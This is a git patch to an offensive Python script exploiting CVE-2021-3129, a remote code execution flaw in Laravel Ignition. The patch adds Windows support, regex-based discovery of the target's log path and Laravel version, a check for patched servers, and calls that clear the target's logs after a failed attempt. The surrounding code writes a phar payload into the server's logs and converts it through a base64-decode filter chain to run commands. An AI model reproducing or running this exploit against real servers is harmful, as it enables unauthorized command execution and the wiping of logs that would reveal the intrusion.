From bbd3238432acdb90134703a565e7f1438873531c Mon Sep 17 00:00:00 2001 From: Joshua van der Poll Date: Sun, 19 Feb 2023 16:52:33 +0100 Subject: [PATCH] Windows path support + Regex search for version/log file --- CVE-2021-3129.py | 69 ++++++++++++++++++++++++++---------------------- 1 file changed, 38 insertions(+), 31 deletions(-) diff --git a/CVE-2021-3129.py b/CVE-2021-3129.py index 1618790..f1718f9 100644 --- a/CVE-2021-3129.py +++ b/CVE-2021-3129.py @@ -11,6 +11,7 @@ import pkg_resources import re import subprocess +import readline PURPLE = '\033[95m' CYAN = '\033[96m' @@ -57,7 +58,7 @@ def start(self): exit() # Ask user interaction - print(BLUE + "[•] Use \"?\" for a list of all possible actions.") + print(PURPLE + "[•] Use \"?\" for a list of all possible actions.") self.ask_command() def ask_command(self): @@ -106,6 +107,7 @@ def cmd_execute_cmd(self, cmd): print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file. if self.exploit_cause_error().status_code != 500: print(RED + "[!] Failed causing error.") + self.exploit_clear_logs() exit(1) print(GREEN + "[√] Caused error in logs.") @@ -113,6 +115,7 @@ def cmd_execute_cmd(self, cmd): if self.exploit_request(payload, 500).status_code != 500: # Step 3. Cause error with payload so payload in log file. print(RED + "[!] Failed sending payload.") + self.exploit_clear_logs() exit(1) print(GREEN + "[√] Sent payload.") @@ -123,6 +126,7 @@ def cmd_execute_cmd(self, cmd): f"convert.base64-decode/resource={self.log_path}", 200).status_code != 200): print(RED + "[!] Failed converting payload.") + self.exploit_clear_logs() exit(1) print(GREEN + "[√] Converted payload.") @@ -282,15 +286,17 @@ def exploit_request(self, value: str, expected_response: int = 200) -> requests. # Check if host has patched vulnerability if "runnable solutions are disabled in non-local environments" in request.text.lower(): print(RED + f"[!] Website has patched the vulnerability. " - f"Response: \"Runnable solutions are disabled in non-local environments. " - f"Please make sure `APP_ENV` is set correctly. " - f"Additionally please make sure `APP_DEBUG` is set to false on ANY production environment!\"") + f"Response: \"Runnable solutions are disabled in non-local environments.\"") + + if "solutions can only be executed by requests from a local ip address" in request.text.lower(): + print(RED + f"[!] Website has patched the vulnerability. " + f"Response: \"Solutions can only be executed by requests from a local IP address.\"") return request def is_vulnerable(self): print(DARKCYAN + f"[@] Testing vulnerable URL {self.host}_ignition/execute-solution...") - request = requests.get(url=f"{self.host}_ignition/execute-solution", verify=False) + request = requests.get(url=f"{self.host}_ignition/execute-solution", verify=False, headers={"User-Agent": self.useragent}) # Check vulnerable url by sending invalid GET request (only POST allowed) if request.status_code != 405: @@ -314,7 +320,7 @@ def is_vulnerable(self): print(RED + "[!] No log path could be found. Please define the log path with the \"--log\" argument") exit() else: - print(BLUE + f"[•] Laravel log found: \"{DARKCYAN}{found_path}{BLUE}\".") + print(BLUE + f"[√] Laravel log found: \"{DARKCYAN}{found_path}{BLUE}\".") # Check if laravel version defined in error response laravel_version = self.find_laravel_version(content=request.text) @@ -331,39 +337,40 @@ def is_vulnerable(self): if self.log_path is None: self.log_path = found_path - print(GREEN + f"[√] Laravel log file set to \"{found_path}\".") else: - print(BLUE + f"[•] Ignoring found path. Using path \"{self.log_path}\".") + print(BLUE + f"[•] Ignoring found path. Using path \"{DARKCYAN}{self.log_path}{BLUE}\".") return True def find_log_path(self, content): - # TODO Use regex search instead of split - for line in str(content).split("\\n"): - if "Symfony\\\Component\\\HttpKernel\\\Exception\\\MethodNotAllowedHttpException" in line: - parts_one = line.split("in file ") - if len(parts_one) != 2: - continue - - parts_two = parts_one[1].split("/vendor/laravel/framework") - if len(parts_two) != 2: - continue - - root_path = parts_two[0] + log_path = None + + # Regex search for file path + search_pattern = r"The GET method is not supported for this route\. Supported methods: POST\. in file (.*?) on line" + search_res = re.search(search_pattern, str(content)) + + if search_res: + file_path = search_res[1] + + if "/vendor/laravel/framework" in file_path: # Linux system + print(BLUE + f"[•] Laravel seems to be running on a {DARKCYAN}Linux{BLUE} based machine.") + root_path = file_path.split("/vendor/laravel/framework")[0] log_path = f"{root_path}/storage/logs/laravel.log" - print(BLUE + f"[•] Log path found: \"{DARKCYAN}{log_path}{BLUE}\"") - return log_path - return None + if "\\\\vendor\\\\laravel\\\\framework" in file_path: # Windows system + print(BLUE + f"[•] Laravel seems to be running on a {DARKCYAN}Windows{BLUE} based machine.") + root_path = file_path.split("\\\\vendor\\\\laravel\\\\framework")[0] + log_path = f"{root_path}\\\\storage\\\\logs\\\\laravel.log" + + return log_path def find_laravel_version(self, content: str): - # TODO Use regex search instead of indexof - if "window.data = {" in content and "};\n" in content: - json_from = content.index("window.data = {") + 15 - json_to = content.index("};\n") + 1 - json_res = "{" + content[json_from:json_to] - - details = json.loads(json_res) - return details['report']['framework_version'] + + # Regex search for framework version + search_pattern = r"\"framework_version\":\"(.*?)\"" + search_res = re.search(search_pattern, content) + + if search_res: + return search_res[1] return None